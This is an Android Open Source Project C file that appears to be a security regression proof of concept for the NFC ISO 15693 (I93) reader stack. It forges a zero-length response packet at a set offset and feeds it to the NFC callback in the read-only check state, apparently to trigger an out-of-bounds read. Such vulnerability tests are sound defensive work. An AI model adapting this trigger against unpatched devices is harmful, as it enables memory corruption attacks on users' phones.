1 /*
2  * Copyright (C) 2021 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include <nfc_api.h>
18 #include <nfc_int.h>
19 #include <rw_int.h>
20 #include <stdlib.h>
21 #include <tags_defs.h>
22 #include "../includes/common.h"
23 
24 #define OFFSET 8
25 #define VULNERABLE_LENGTH 0
26 
27 extern tRW_CB rw_cb;
28 extern tNFC_CB nfc_cb;
29 void rw_init(void);
30 tNFC_STATUS rw_i93_select(uint8_t* p_uid);
31 
GKI_freebuf(void * p_buf)32 void GKI_freebuf(void* p_buf __attribute__((unused))) {}
33 
GKI_start_timer(uint8_t,int32_t,bool)34 void GKI_start_timer(uint8_t, int32_t, bool) {}
35 
GKI_stop_timer(uint8_t)36 void GKI_stop_timer(uint8_t) {}
37 
main()38 int main() {
39     tRW_I93_CB* p_i93 = &rw_cb.tcb.i93;
40 
41     GKI_init();
42     rw_init();
43 
44     uint8_t p_uid = 1;
45     if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
46         return EXIT_FAILURE;
47     }
48 
49     tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
50     tNFC_CONN_EVT event = NFC_DATA_CEVT;
51 
52     tNFC_CONN* p_data = (tNFC_CONN*)malloc(sizeof(tNFC_CONN));
53     if (!p_data) {
54         return EXIT_FAILURE;
55     }
56 
57     p_data->data.p_data = (NFC_HDR*)malloc(sizeof(uint8_t) * 16);
58     if (!(p_data->data.p_data)) {
59         free(p_data);
60         return EXIT_FAILURE;
61     }
62 
63     p_i93->state = RW_I93_STATE_DETECT_NDEF;
64     p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
65     p_i93->block_size = I93_MAX_BLOCK_LENGH - 1;
66     p_i93->sent_cmd = I93_CMD_GET_SYS_INFO;
67     p_data->status = NFC_STATUS_OK;
68 
69     NFC_HDR* p_resp = (NFC_HDR*)p_data->data.p_data;
70     p_resp->len = VULNERABLE_LENGTH;
71     p_resp->offset = OFFSET;
72 
73     p_cb->p_cback(0, event, p_data);
74     free(p_data->data.p_data);
75     free(p_data);
76     return EXIT_SUCCESS;
77 }
78